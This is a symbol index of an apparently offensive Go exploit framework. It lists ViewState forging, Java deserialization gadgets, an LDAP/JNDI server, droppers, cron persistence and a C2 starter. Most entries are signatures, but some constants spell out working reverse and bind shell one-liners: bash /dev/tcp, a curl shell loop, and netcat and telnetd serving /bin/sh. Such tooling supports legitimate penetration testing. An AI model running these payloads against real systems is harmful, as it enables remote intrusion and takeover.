  type BinaryArrayRecord (line 24) | type BinaryArrayRecord struct
    method GetRecordType (line 108) | func (binaryArrayRecord BinaryArrayRecord) GetRecordType() int {
    method ToXML (line 191) | func (binaryArrayRecord BinaryArrayRecord) ToXML(_ ClassInfo, _ Member...
    method ToRecordBin (line 299) | func (binaryArrayRecord BinaryArrayRecord) ToRecordBin() (string, bool) {
  type ClassWithIDRecord (line 34) | type ClassWithIDRecord struct
    method GetRecordType (line 120) | func (classWithIDRecord ClassWithIDRecord) GetRecordType() int {
    method ToXML (line 209) | func (classWithIDRecord ClassWithIDRecord) ToXML(_ ClassInfo, _ Member...
    method ToRecordBin (line 436) | func (classWithIDRecord ClassWithIDRecord) ToRecordBin() (string, bool) {
  type BinaryLibraryRecord (line 40) | type BinaryLibraryRecord struct
    method GetRecordType (line 140) | func (binaryLibraryRecord BinaryLibraryRecord) GetRecordType() int {
    method ToXML (line 248) | func (binaryLibraryRecord BinaryLibraryRecord) ToXML(_ ClassInfo, _ Me...
    method ToRecordBin (line 428) | func (binaryLibraryRecord BinaryLibraryRecord) ToRecordBin() (string, ...
  type SystemClassWithMembersAndTypesRecord (line 45) | type SystemClassWithMembersAndTypesRecord struct
    method GetRecordType (line 132) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy...
    method ToXML (line 236) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy...
    method ToRecordBin (line 482) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy...
  type ClassWithMembersAndTypesRecord (line 51) | type ClassWithMembersAndTypesRecord struct
    method GetRecordType (line 128) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) G...
    method ToXML (line 225) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) T...
    method ToRecordBin (line 527) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) T...
  type SerializationHeaderRecord (line 59) | type SerializationHeaderRecord struct
    method GetRecordType (line 136) | func (serializationHeaderRecord SerializationHeaderRecord) GetRecordTy...
    method ToXML (line 242) | func (serializationHeaderRecord SerializationHeaderRecord) ToXML(_ Cla...
    method ToRecordBin (line 418) | func (serializationHeaderRecord SerializationHeaderRecord) ToRecordBin...
  type MemberReferenceRecord (line 64) | type MemberReferenceRecord struct
    method GetRecordType (line 144) | func (memberReferenceRecord MemberReferenceRecord) GetRecordType() int {
    method ToXML (line 254) | func (memberReferenceRecord MemberReferenceRecord) ToXML(classInfo Cla...
    method ToRecordBin (line 406) | func (memberReferenceRecord MemberReferenceRecord) ToRecordBin() (stri...
  type ObjectNullMultiple256Record (line 68) | type ObjectNullMultiple256Record struct
    method GetRecordType (line 100) | func (objectNullMultiple256Record ObjectNullMultiple256Record) GetReco...
    method ToXML (line 179) | func (objectNullMultiple256Record ObjectNullMultiple256Record) ToXML(_...
    method ToRecordBin (line 386) | func (objectNullMultiple256Record ObjectNullMultiple256Record) ToRecor...
  type ObjectNullRecord (line 72) | type ObjectNullRecord struct
    method GetRecordType (line 152) | func (objectNullRecord ObjectNullRecord) GetRecordType() int {
    method ToXML (line 262) | func (objectNullRecord ObjectNullRecord) ToXML(classInfo ClassInfo, _ ...
    method ToRecordBin (line 413) | func (objectNullRecord ObjectNullRecord) ToRecordBin() (string, bool) {
  type BinaryObjectString (line 74) | type BinaryObjectString struct
    method GetRecordType (line 124) | func (binaryObjectString BinaryObjectString) GetRecordType() int {
    method ToXML (line 215) | func (binaryObjectString BinaryObjectString) ToXML(classInfo ClassInfo...
    method ToRecordBin (line 474) | func (binaryObjectString BinaryObjectString) ToRecordBin() (string, bo...
  type ArrayInfo (line 79) | type ArrayInfo struct
  type ArraySinglePrimitiveRecord (line 84) | type ArraySinglePrimitiveRecord struct
    method GetRecordType (line 104) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) GetRecord...
    method ToXMLBespoke (line 158) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXMLBesp...
    method ToXML (line 173) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXML(_ C...
    method ToRecordBin (line 377) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToRecordB...
  type ArraySingleStringRecord (line 90) | type ArraySingleStringRecord struct
    method GetRecordType (line 116) | func (arraySingleStringRecord ArraySingleStringRecord) GetRecordType()...
    method ToXML (line 203) | func (arraySingleStringRecord ArraySingleStringRecord) ToXML(_ ClassIn...
    method ToRecordBin (line 272) | func (arraySingleStringRecord ArraySingleStringRecord) ToRecordBin() (...
  type ArraySingleObjectRecord (line 95) | type ArraySingleObjectRecord struct
    method GetRecordType (line 112) | func (arraySingleObjectRecord ArraySingleObjectRecord) GetRecordType()...
    method ToXML (line 197) | func (arraySingleObjectRecord ArraySingleObjectRecord) ToXML(_ ClassIn...
    method ToRecordBin (line 354) | func (arraySingleObjectRecord ArraySingleObjectRecord) ToRecordBin() (...

FILE: dotnet/viewstate.go
  function GenerateViewstateHMAC (line 24) | func GenerateViewstateHMAC(data string, algo string, hexKey string) (str...
  function GeneratorToArray (line 53) | func GeneratorToArray(input string) ([]byte, bool) {
  function CreateViewstatePayload (line 75) | func CreateViewstatePayload(payloadData string, machineKey string, gener...
  function getPurpose (line 112) | func getPurpose(webPath string) string {
  function EncryptViewState (line 124) | func EncryptViewState(plaintext []byte, encryptionKey []byte, validation...
  function Protect (line 188) | func Protect(decryptionKeyHex string, validationKeyHex string, validatio...
  function DeriveKeys (line 207) | func DeriveKeys(decryptionKeyHex string, validationKeyHex string, webPat...

FILE: dotnet/viewstate_test.go
  constant DerivedValidationKey (line 14) | DerivedValidationKey = "ffcfaa1d6a36fe58d5bad121dec3bb0512153ea8c7c9a8f3...
  constant DerivedDecryptionKey (line 15) | DerivedDecryptionKey = "245428c1b66d73cd0c1da7005023f58ee8b676567baf600f"
  function ExampleProtect (line 19) | func ExampleProtect() {
  function TestGetPurpose (line 36) | func TestGetPurpose(t *testing.T) {
  function TestSP800108HMACSHA512 (line 52) | func TestSP800108HMACSHA512(t *testing.T) {
  function TestEncryptViewstate (line 66) | func TestEncryptViewstate(t *testing.T) {
  function TestDeriveKeys (line 87) | func TestDeriveKeys(t *testing.T) {
  function TestProtect (line 110) | func TestProtect(t *testing.T) {

FILE: encryption/aes.go
  type Padding (line 11) | type Padding struct
  function noPad (line 28) | func noPad(data []byte, blockSize int) ([]byte, bool) {
  function PKCS7Pad (line 39) | func PKCS7Pad(data []byte, blockSize int) ([]byte, bool) {
  function PKCS7Unpad (line 53) | func PKCS7Unpad(data []byte, blockSize int) ([]byte, bool) {

FILE: encryption/aes_crypto.go
  function newAESBlock (line 12) | func newAESBlock(key []byte) (cipher.Block, bool) {
  function newAESGCM (line 23) | func newAESGCM(key []byte) (cipher.AEAD, bool) {
  function resolvePadding (line 39) | func resolvePadding(p []Padding) Padding {
  function AESCBCEncrypt (line 50) | func AESCBCEncrypt(plaintext, key []byte, padding ...Padding) ([]byte, b...
  function AESCBCEncryptWithIV (line 57) | func AESCBCEncryptWithIV(plaintext, key, iv []byte, padding ...Padding) ...
  function aesCBCEncrypt (line 61) | func aesCBCEncrypt(plaintext, key, iv []byte, prependIV bool, pad Paddin...
  function AESCBCDecrypt (line 97) | func AESCBCDecrypt(ciphertext, key []byte, padding ...Padding) ([]byte, ...
  function AESCBCDecryptWithIV (line 109) | func AESCBCDecryptWithIV(ciphertext, key, iv []byte, padding ...Padding)...
  function aesCBCDecrypt (line 119) | func aesCBCDecrypt(ciphertext, key, iv []byte, pad Padding) ([]byte, boo...
  function AESGCMEncrypt (line 133) | func AESGCMEncrypt(plaintext, key []byte) ([]byte, bool) {
  function AESGCMDecrypt (line 151) | func AESGCMDecrypt(ciphertext, key []byte) ([]byte, bool) {

FILE: encryption/aes_crypto_test.go
  function TestAESCBCRoundtrip (line 12) | func TestAESCBCRoundtrip(t *testing.T) {
  function TestAESCBCWithIVRoundtrip (line 39) | func TestAESCBCWithIVRoundtrip(t *testing.T) {
  function TestAESCBCBadKey (line 66) | func TestAESCBCBadKey(t *testing.T) {
  function TestAESCBCInvalidKeySize (line 90) | func TestAESCBCInvalidKeySize(t *testing.T) {
  function TestAESGCMRoundtrip (line 97) | func TestAESGCMRoundtrip(t *testing.T) {
  function TestAESGCMTampered (line 120) | func TestAESGCMTampered(t *testing.T) {
  function TestAESGCMBadKey (line 140) | func TestAESGCMBadKey(t *testing.T) {
  function TestPKCS7PadUnpadRoundtrip (line 162) | func TestPKCS7PadUnpadRoundtrip(t *testing.T) {
  function TestAESCBCNoPadding (line 180) | func TestAESCBCNoPadding(t *testing.T) {
  function TestAESCBCNoPaddingUnaligned (line 204) | func TestAESCBCNoPaddingUnaligned(t *testing.T) {
  function TestAESKeySizes (line 219) | func TestAESKeySizes(t *testing.T) {

FILE: encryption/certificate.go
  function GenerateCertificate (line 17) | func GenerateCertificate() (tls.Certificate, bool) {

FILE: encryption/des.go
  function PKCS5Padding (line 12) | func PKCS5Padding(src []byte, blockSize int) []byte {
  function TripleDesEncryption (line 20) | func TripleDesEncryption(key, iv, plainText []byte) ([]byte, bool) {

FILE: encryption/kdf.go
  function SP800108HMACSHA512 (line 10) | func SP800108HMACSHA512(key []byte, label []byte, context []byte, outLen...

FILE: encryption/xor.go
  function XOR (line 4) | func XOR(data, key []byte) []byte {
  function XORByte (line 18) | func XORByte(data []byte, key byte) []byte {

FILE: encryption/xor_test.go
  function TestXOR (line 10) | func TestXOR(t *testing.T) {
  function TestXOREmptyKey (line 25) | func TestXOREmptyKey(t *testing.T) {
  function TestXORByte (line 33) | func TestXORByte(t *testing.T) {
  function TestXORNullByteAvoidance (line 48) | func TestXORNullByteAvoidance(t *testing.T) {

FILE: framework.go
  type VersionCheckType (line 87) | type VersionCheckType
  constant NotVulnerable (line 91) | NotVulnerable VersionCheckType = 0
  constant Vulnerable (line 93) | Vulnerable VersionCheckType = 1
  constant PossiblyVulnerable (line 95) | PossiblyVulnerable VersionCheckType = 2
  constant Unknown (line 97) | Unknown VersionCheckType = 3
  constant NotImplemented (line 99) | NotImplemented VersionCheckType = 4
  type Exploit (line 190) | type Exploit interface
  function doVerify (line 201) | func doVerify(sploit Exploit, conf *config.Config) bool {
  function doVersionCheck (line 225) | func doVersionCheck(sploit Exploit, conf *config.Config) bool {
  function determineServerSSL (line 252) | func determineServerSSL(rhost string, rport int) (bool, bool) {
  function parseCommandLine (line 267) | func parseCommandLine(conf *config.Config) bool {
  function StartC2 (line 289) | func StartC2(conf *config.Config) bool {
  function startC2Server (line 293) | func startC2Server(conf *config.Config) bool {
  function doScan (line 339) | func doScan(sploit Exploit, conf *config.Config) bool {
  function StoreVersion (line 429) | func StoreVersion(conf *config.Config, version string) {
  function CheckSemVer (line 441) | func CheckSemVer(version string, constraint string) bool {
  function updateGoDebug (line 461) | func updateGoDebug() {
  function addPayloadMetadata (line 476) | func addPayloadMetadata(conf *config.Config) {
  function RunProgram (line 549) | func RunProgram(sploit Exploit, conf *config.Config) {

FILE: framework_test.go
  function TestCheckSemVer_Full (line 9) | func TestCheckSemVer_Full(t *testing.T) {
  function TestCheckSemVer_BadVersion (line 18) | func TestCheckSemVer_BadVersion(t *testing.T) {
  function TestCheckSemVer_BadConstraint (line 27) | func TestCheckSemVer_BadConstraint(t *testing.T) {

FILE: java/gadget_test.go
  function TestPackBigFloat (line 12) | func TestPackBigFloat(t *testing.T) {
  function TestCreateGWT (line 19) | func TestCreateGWT(t *testing.T) {
  function TestCreateGroovy1 (line 29) | func TestCreateGroovy1(t *testing.T) {
  function TestCreateCommonsCollections6 (line 38) | func TestCreateCommonsCollections6(t *testing.T) {
  function TestCreateCommonsCollections5 (line 47) | func TestCreateCommonsCollections5(t *testing.T) {
  function TestCreateCommonsCollections1 (line 56) | func TestCreateCommonsCollections1(t *testing.T) {

FILE: java/gadgets.go
  function CreateGWT (line 30) | func CreateGWT(command string) ([]byte, bool) {
  function CreateGroovy1 (line 163) | func CreateGroovy1(command string) ([]byte, bool) {
  function CreateCommonsCollections6 (line 423) | func CreateCommonsCollections6(program string, args string) ([]byte, boo...
  function CreateCommonsCollections5 (line 711) | func CreateCommonsCollections5(program string, args string) ([]byte, boo...
  function CreateCommonsCollections1 (line 1130) | func CreateCommonsCollections1(program string, args string) ([]byte, boo...

FILE: java/javaclass.go
  function ReverseShellBytecode (line 33) | func ReverseShellBytecode(conf *config.Config) (string, string) {
  function ReverseShellScriptingEngineBytecode (line 251) | func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, s...

FILE: java/javagadget.go
  function ErrorInvalidCommandLength (line 22) | func ErrorInvalidCommandLength(msg string) error {
  function ErrorInvalidCallbackArg (line 26) | func ErrorInvalidCallbackArg(msg string) error {
  function Commons6ModifiedBashCommandBytecode (line 36) | func Commons6ModifiedBashCommandBytecode(commandStr string) (string, err...
  function Commons10CommandBytecode (line 160) | func Commons10CommandBytecode(commandStr string) (string, error) {
  function C3P0ClassCallbackBytecode (line 433) | func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
  function JacksonGenericCommand (line 455) | func JacksonGenericCommand(cmd string) (string, error) {
  function CreateBeanutilsReverseShell (line 487) | func CreateBeanutilsReverseShell(lhost string, lport int) string {
  function CreateJythonRunCodeGadget (line 841) | func CreateJythonRunCodeGadget(payload string) string {

FILE: java/ldapjndi/ldapjndi.go
  type GadgetName (line 30) | type GadgetName
  constant TomcatNashornReverseShell (line 34) | TomcatNashornReverseShell GadgetName = 0
  constant TomcatGenericBash (line 36) | TomcatGenericBash GadgetName = 1
  constant GroovyGenericBash (line 37) | GroovyGenericBash GadgetName = 2
  constant BeanUtils194GenericBash (line 39) | BeanUtils194GenericBash GadgetName = 3
  constant HTTPReverseShell (line 41) | HTTPReverseShell GadgetName = 4
  constant JacksonGenericCommand (line 43) | JacksonGenericCommand GadgetName = 5
  function handleBind (line 56) | func handleBind(w ldap.ResponseWriter, _ *ldap.Message) {
  function handleSearch (line 64) | func handleSearch(writer ldap.ResponseWriter, msg *ldap.Message) {
  function CreateLDAPServer (line 96) | func CreateLDAPServer(name string) *ldap.Server {
  function SetLDAPGadget (line 117) | func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, c...
  function SetLDAPHTTPClass (line 139) | func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHo...
  function createTomcatNashornReverseShell (line 179) | func createTomcatNashornReverseShell(binary, lhost string, lport int) st...
  function createTomcatGenericGadget (line 287) | func createTomcatGenericGadget(command string) string {
  function createGroovyGenericBash (line 357) | func createGroovyGenericBash(command string) string {
  function createBeanUtils194GenericBash (line 421) | func createBeanUtils194GenericBash(command string) string {
  function createHTTPReverseShell (line 620) | func createHTTPReverseShell(lhost string, lport int, classname string) s...

FILE: java/objects.go
  type Field (line 16) | type Field interface
  type TCContent (line 21) | type TCContent interface
  type TCObject (line 25) | type TCObject struct
    method ToBytes (line 102) | func (tcObject TCObject) ToBytes() ([]byte, bool) {
  type TCArray (line 30) | type TCArray struct
    method ToBytes (line 134) | func (tcArray TCArray) ToBytes() ([]byte, bool) {
  type ArrayBytes (line 35) | type ArrayBytes struct
    method ToBytes (line 242) | func (arrayBytes ArrayBytes) ToBytes() ([]byte, bool) {
  type TCProxyClassDesc (line 39) | type TCProxyClassDesc struct
    method ToBytes (line 272) | func (tcProxyClassDesc TCProxyClassDesc) ToBytes() ([]byte, bool) {
  type TCInteger (line 47) | type TCInteger struct
    method ToBytes (line 254) | func (tcInteger TCInteger) ToBytes() ([]byte, bool) {
  type TCFloat (line 51) | type TCFloat struct
    method ToBytes (line 250) | func (tcFloat TCFloat) ToBytes() ([]byte, bool) {
  type TCBlockData (line 55) | type TCBlockData struct
    method ToBytes (line 222) | func (tcBlockData TCBlockData) ToBytes() ([]byte, bool) {
  type TCNull (line 60) | type TCNull struct
    method ToBytes (line 238) | func (tcNull TCNull) ToBytes() ([]byte, bool) {
  type TCEndBlockData (line 62) | type TCEndBlockData struct
    method ToBytes (line 246) | func (tcEndBlockData TCEndBlockData) ToBytes() ([]byte, bool) {
  type TCString (line 64) | type TCString struct
    method ToBytes (line 258) | func (tcString TCString) ToBytes() ([]byte, bool) {
  type TCReference (line 68) | type TCReference struct
    method ToBytes (line 262) | func (tcReference TCReference) ToBytes() ([]byte, bool) {
  type TCClass (line 72) | type TCClass struct
    method ToBytes (line 122) | func (tcClass TCClass) ToBytes() ([]byte, bool) {
  type TCClassDesc (line 76) | type TCClassDesc struct
    method getFieldsBin (line 179) | func (tcClassDesc TCClassDesc) getFieldsBin() ([]byte, bool) {
    method ToBytes (line 194) | func (tcClassDesc TCClassDesc) ToBytes() ([]byte, bool) {
  type ObjectField (line 84) | type ObjectField struct
    method ToFieldBin (line 317) | func (objectField ObjectField) ToFieldBin() ([]byte, bool) {
  type ArrayField (line 89) | type ArrayField struct
    method ToFieldBin (line 294) | func (arrayField ArrayField) ToFieldBin() ([]byte, bool) {
  type IntegerField (line 94) | type IntegerField struct
    method ToFieldBin (line 310) | func (integerField IntegerField) ToFieldBin() ([]byte, bool) {
  type FloatField (line 98) | type FloatField struct
    method ToFieldBin (line 303) | func (floatField FloatField) ToFieldBin() ([]byte, bool) {
  function lenPrefixedString (line 342) | func lenPrefixedString(input string) string {

FILE: output/commonlog.go
  function SetOutputFile (line 38) | func SetOutputFile(file string) bool {
  constant LevelTrace (line 54) | LevelTrace = slog.Level(-8)
  constant LevelDebug (line 56) | LevelDebug = slog.LevelDebug
  constant LevelStatus (line 58) | LevelStatus = slog.LevelInfo
  constant LevelWarning (line 60) | LevelWarning = slog.LevelWarn
  constant LevelVersion (line 62) | LevelVersion = slog.Level(5)
  constant LevelSuccess (line 64) | LevelSuccess = slog.Level(6)
  constant LevelError (line 66) | LevelError = slog.LevelError
  function customLogLevels (line 80) | func customLogLevels(_ []string, a slog.Attr) slog.Attr {
  function resetLogger (line 105) | func resetLogger(descriptor io.Writer, minLevel slog.Level) *slog.Logger {
  function PrintShell (line 121) | func PrintShell(msg string) {

FILE: output/exploitlog.go
  function SetExploitLogLevel (line 14) | func SetExploitLogLevel(level slog.Level) {
  function doExploitLog (line 19) | func doExploitLog(descriptor io.Writer, level slog.Level, msg string, ke...
  function PrintfTrace (line 33) | func PrintfTrace(format string, msg ...interface{}) {
  function PrintTrace (line 39) | func PrintTrace(msg string, keys ...any) {
  function PrintfDebug (line 45) | func PrintfDebug(format string, msg ...interface{}) {
  function PrintDebug (line 51) | func PrintDebug(msg string, keys ...any) {
  function PrintfStatus (line 57) | func PrintfStatus(format string, msg ...interface{}) {
  function PrintStatus (line 63) | func PrintStatus(msg string, keys ...any) {
  function PrintfWarn (line 69) | func PrintfWarn(format string, msg ...interface{}) {
  function PrintWarn (line 75) | func PrintWarn(msg string, keys ...any) {
  function PrintVersion (line 81) | func PrintVersion(msg string, host string, port int, version string) {
  function PrintfSuccess (line 88) | func PrintfSuccess(format string, msg ...interface{}) {
  function PrintSuccess (line 94) | func PrintSuccess(msg string, keys ...any) {
  function PrintfError (line 100) | func PrintfError(format string, msg ...interface{}) {
  function PrintError (line 106) | func PrintError(msg string, keys ...any) {

FILE: output/frameworklog.go
  function SetFrameworkLogLevel (line 14) | func SetFrameworkLogLevel(level slog.Level) {
  function doFrameworkLog (line 19) | func doFrameworkLog(descriptor io.Writer, level slog.Level, msg string, ...
  function PrintfFrameworkTrace (line 33) | func PrintfFrameworkTrace(format string, msg ...interface{}) {
  function PrintFrameworkTrace (line 39) | func PrintFrameworkTrace(msg string, keys ...any) {
  function PrintfFrameworkDebug (line 45) | func PrintfFrameworkDebug(format string, msg ...interface{}) {
  function PrintFrameworkDebug (line 51) | func PrintFrameworkDebug(msg string, keys ...any) {
  function PrintfFrameworkStatus (line 57) | func PrintfFrameworkStatus(format string, msg ...interface{}) {
  function PrintFrameworkStatus (line 63) | func PrintFrameworkStatus(msg string, keys ...any) {
  function PrintfFrameworkWarn (line 69) | func PrintfFrameworkWarn(format string, msg ...interface{}) {
  function PrintFrameworkWarn (line 75) | func PrintFrameworkWarn(msg string, keys ...any) {
  function PrintfFrameworkSuccess (line 81) | func PrintfFrameworkSuccess(format string, msg ...interface{}) {
  function PrintFrameworkSuccess (line 87) | func PrintFrameworkSuccess(msg string, keys ...any) {
  function PrintfFrameworkError (line 93) | func PrintfFrameworkError(format string, msg ...interface{}) {
  function PrintFrameworkError (line 99) | func PrintFrameworkError(msg string, keys ...any) {

FILE: payload/bindshell/bindshell.go
  type BindShell (line 15) | type BindShell interface
  type Default (line 19) | type Default interface
  type NetcatPayload (line 22) | type NetcatPayload struct
  type TelnetPayload (line 23) | type TelnetPayload struct

FILE: payload/bindshell/bindshell_test.go
  function TestBindShellNetcatGaping (line 10) | func TestBindShellNetcatGaping(t *testing.T) {
  function TestBindShellTelnetdLogin (line 20) | func TestBindShellTelnetdLogin(t *testing.T) {
  function TestBindShellNetcatMknod (line 30) | func TestBindShellNetcatMknod(t *testing.T) {
  function TestBindShellNetcatMkfifo (line 40) | func TestBindShellNetcatMkfifo(t *testing.T) {

FILE: payload/bindshell/netcat.go
  constant NetcatDefault (line 10) | NetcatDefault = "nc -l -p %d -e /bin/sh"
  constant NetcatMknod (line 11) | NetcatMknod   = `cd /tmp; mknod %s p; nc -l -p %d 0<%s | /bin/sh >%s 2>&...
  constant NetcatMkfifo (line 12) | NetcatMkfifo  = `cd /tmp; mkfifo %s; nc -l -p %d 0<%s | /bin/sh >%s 2>&1...
  method Default (line 15) | func (nc *NetcatPayload) Default(bport int) string {
  method Gaping (line 19) | func (nc *NetcatPayload) Gaping(bport int) string {
  method Mknod (line 23) | func (nc *NetcatPayload) Mknod(bport int) string {
  method Mkfifo (line 29) | func (nc *NetcatPayload) Mkfifo(bport int) string {

FILE: payload/bindshell/telnet.go
  constant TelnetDefault (line 7) | TelnetDefault = "telnetd -l /bin/sh -p %d"
  method Default (line 9) | func (telnet *TelnetPayload) Default(bport int) string {
  method TelnetdLogin (line 13) | func (telnet *TelnetPayload) TelnetdLogin(bport int) string {

FILE: payload/dropper/dropper.go
  type Dropper (line 7) | type Dropper interface
  type UnixPayload (line 10) | type UnixPayload struct
  type WindowsPayload (line 11) | type WindowsPayload struct
  type GroovyPayload (line 12) | type GroovyPayload struct
  type PHPPayload (line 13) | type PHPPayload struct

FILE: payload/dropper/dropper_test.go
  function TestLinuxCurlHTTPDownloadAndExecute (line 10) | func TestLinuxCurlHTTPDownloadAndExecute(t *testing.T) {
  function TestLinuxCurlHTTPSDownloadAndExecute (line 32) | func TestLinuxCurlHTTPSDownloadAndExecute(t *testing.T) {
  function TestWindowsCurlHTTPDownloadAndExecute (line 54) | func TestWindowsCurlHTTPDownloadAndExecute(t *testing.T) {
  function TestWindowsCurlHTTPSDownloadAndExecute (line 72) | func TestWindowsCurlHTTPSDownloadAndExecute(t *testing.T) {
  function TestWindowsCertutilHTTPDownloadAndExecute (line 90) | func TestWindowsCertutilHTTPDownloadAndExecute(t *testing.T) {
  function TestWindowsPowershellHTTPDownloadAndExecute (line 127) | func TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) {
  function TestGroovyHTTP (line 165) | func TestGroovyHTTP(t *testing.T) {
  function TestPHPHTTP (line 174) | func TestPHPHTTP(t *testing.T) {
  function TestMountV3Only (line 185) | func TestMountV3Only(t *testing.T) {

FILE: payload/dropper/groovy.go
  method HTTP (line 8) | func (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile ...

FILE: payload/dropper/php.go
  method HTTP (line 16) | func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadF...

FILE: payload/dropper/unix.go
  method CurlHTTPDownloadOnly (line 12) | func (unix *UnixPayload) CurlHTTPDownloadOnly(lhost string, lport int, s...
  method CurlHTTP (line 21) | func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, dow...
  method EitherHTTP (line 34) | func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, d...
  method WgetHTTPEx (line 48) | func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, d...
  method WgetHTTP (line 61) | func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, dow...
  method Mountv3Only (line 77) | func (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rsh...

FILE: payload/dropper/windows.go
  method CurlHTTPDownloadOnly (line 13) | func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int,...
  method CertutilHTTPDownloadOnly (line 24) | func (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport ...
  method CurlHTTP (line 34) | func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, d...
  method CertutilHTTP (line 46) | func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl boo...
  method PowershellHTTP (line 58) | func (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl b...

FILE: payload/encode.go
  function EncodeCommandBrace (line 11) | func EncodeCommandBrace(cmd string) string {
  function EncodeCommandIFS (line 17) | func EncodeCommandIFS(cmd string) string {

FILE: payload/encode_test.go
  function TestEncodeCommandBrace (line 9) | func TestEncodeCommandBrace(t *testing.T) {
  function TestEncodeCommandIFS (line 19) | func TestEncodeCommandIFS(t *testing.T) {

FILE: payload/fileplant/cron.go
  type CronPayload (line 11) | type CronPayload struct
    method SelfRemovingCron (line 27) | func (c *CronPayload) SelfRemovingCron(user string, cronPath string, x...

FILE: payload/fileplant/fileplant_test.go
  function TestEncodeSelfRemovingCron (line 9) | func TestEncodeSelfRemovingCron(t *testing.T) {

FILE: payload/payload.go
  type Type (line 18) | type Type
    method String (line 276) | func (t Type) String() string {
    method IsCommand (line 319) | func (t Type) IsCommand() bool {
    method IsPayload (line 359) | func (t Type) IsPayload() bool {
  type Arch (line 23) | type Arch
    method String (line 200) | func (a Arch) String() string {
  type Effect (line 31) | type Effect
    method String (line 425) | func (e Effect) String() string {
  type Effects (line 46) | type Effects
  type Supported (line 89) | type Supported struct
    method String (line 184) | func (s Supported) String() string {
  constant GenericCommand (line 99) | GenericCommand Type = iota
  constant WindowsCommand (line 102) | WindowsCommand
  constant WindowsPowerShellCommand (line 104) | WindowsPowerShellCommand
  constant MacCommand (line 106) | MacCommand
  constant LinuxCommand (line 108) | LinuxCommand
  constant LinuxELF (line 110) | LinuxELF
  constant LinuxSO (line 114) | LinuxSO
  constant WindowsEXE (line 116) | WindowsEXE
  constant WindowsDLL (line 119) | WindowsDLL
  constant Webshell (line 122) | Webshell
  constant UnspecifiedType (line 123) | UnspecifiedType
  constant NotDefault (line 127) | NotDefault bool = false
  constant Default (line 128) | Default         = true
  constant None (line 132) | None Arch = iota
  constant AMD64 (line 133) | AMD64
  constant I386 (line 134) | I386
  constant ARMEL (line 135) | ARMEL
  constant ARMHF (line 136) | ARMHF
  constant ARM64 (line 137) | ARM64
  constant MIPS (line 138) | MIPS
  constant MIPSEL (line 139) | MIPSEL
  constant MIPS64 (line 140) | MIPS64
  constant MIPS64EL (line 141) | MIPS64EL
  constant PPC (line 142) | PPC
  constant PPC64 (line 143) | PPC64
  constant PPC64EL (line 144) | PPC64EL
  constant S390X (line 145) | S390X
  constant X86_64 (line 148) | X86_64  Arch = AMD64
  constant X86 (line 149) | X86     Arch = I386
  constant POWER8 (line 150) | POWER8  Arch = PPC64EL
  constant POWER9 (line 151) | POWER9  Arch = PPC64EL
  constant AARCH64 (line 152) | AARCH64 Arch = ARM64
  constant FileCreate (line 156) | FileCreate Effect = 1 << iota
  constant FileOverwrite (line 157) | FileOverwrite
  constant FileDelete (line 158) | FileDelete
  constant Execute (line 159) | Execute
  constant InMemory (line 160) | InMemory
  constant ConfigChanges (line 161) | ConfigChanges
  constant IndicatorInLogs (line 162) | IndicatorInLogs
  constant AccountLockout (line 163) | AccountLockout
  constant Physical (line 164) | Physical
  constant WebRequest (line 165) | WebRequest
  constant ReverseShellTCP (line 166) | ReverseShellTCP
  constant ReverseShellUDP (line 167) | ReverseShellUDP
  constant ReverseShellTLS (line 168) | ReverseShellTLS
  constant Unknown (line 170) | Unknown
  constant maxKey (line 171) | maxKey
  constant ReverseShellSSL (line 173) | ReverseShellSSL Effect = ReverseShellTLS
  function ArchFromString (line 238) | func ArchFromString(s string) Arch {
  function TypeFromString (line 392) | func TypeFromString(s string) Type {

FILE: payload/payload_test.go
  function TestArchFromString (line 9) | func TestArchFromString(t *testing.T) {
  function TestTypeFromString (line 63) | func TestTypeFromString(t *testing.T) {

FILE: payload/reverse/bash.go
  constant BashDefault (line 8) | BashDefault        = BashTCPRedirection
  constant BashTCPRedirection (line 9) | BashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'`
  constant BashHTTPShellLoop (line 10) | BashHTTPShellLoop  = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s...
  method Default (line 14) | func (bash *BashPayload) Default(lhost string, lport int) string {
  method TCPRedirection (line 19) | func (bash *BashPayload) TCPRedirection(lhost string, lport int) string {
  method HTTPShellLoop (line 25) | func (bash *BashPayload) HTTPShellLoop(lhost string, lport int, ssl bool...

FILE: payload/reverse/gjscript.go
  method Default (line 14) | func (gjs *GJScriptPayload) Default(lhost string, lport int) string {
  method GLibSpawn (line 20) | func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string {

FILE: payload/reverse/groovy.go
  method Default (line 15) | func (groovy *GroovyPayload) Default(lhost string, lport int) string {
  method GroovyClassic (line 20) | func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) stri...

FILE: payload/reverse/java.go
  method Default (line 16) | func (java *JavaPayload) Default(lhost string, lport int) string {
  method UnflattenedJava (line 22) | func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string {

FILE: payload/reverse/jjs.go
